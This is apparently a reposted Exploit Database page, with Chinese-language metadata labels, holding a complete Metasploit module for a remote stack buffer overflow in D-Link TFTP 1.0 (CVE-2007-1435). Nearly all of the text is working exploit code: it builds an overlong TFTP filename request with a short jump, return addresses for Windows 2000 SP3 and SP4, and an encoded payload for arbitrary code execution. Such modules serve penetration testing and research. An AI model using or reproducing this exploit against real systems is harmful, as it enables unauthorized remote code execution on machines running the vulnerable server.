D-Link TFTP 1.0 – ‘Filename’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 50 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16345/

• ##
  # $Id: dlink_long_filename.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in D-Link TFTP 1.0.
  				By sending a request for an overly long file name, an attacker
  				could overflow a buffer and execute arbitrary code. For best results,
  				use bind payloads with nonx (No NX).
  			},
  			'Author' =>
  				[
  					'LSO <lso[@]hushmail.com>', # Exploit module
  					'patrick', # Refs, stability, targets etc
  				],
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-1435' ],
  					[ 'OSVDB', '33977' ],
  					[ 'BID', '22923' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00",
  					'Compat' =>
  					{
  						'ConnectionType' => '-reverse',
  					},
  				},
  			'SaveRegisters'=> [ 'ecx', 'eax', 'esi' ],
  			'Platform' => 'win',
  
  			'Targets'=>
  				[
  					# Patrick tested OK 20090228
  					['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
  					['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Mar 12 2007',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(69)
  			], self)
  	end
  
  	def exploit
  		connect_udp
  
  		print_status("Trying target #{target.name}...")
  
  		juju = "\x00\x01"
  		juju << Rex::Text.rand_text_alpha_upper(581)
  		juju << Rex::Arch::X86.jmp_short(42)
  		juju << Rex::Text.rand_text_alpha_upper(38)
  		juju << [target.ret].pack('V') + payload.encoded
  
  		udp_sock.put(juju)
  
  		handler
  		disconnect_udp
  	end
  
  end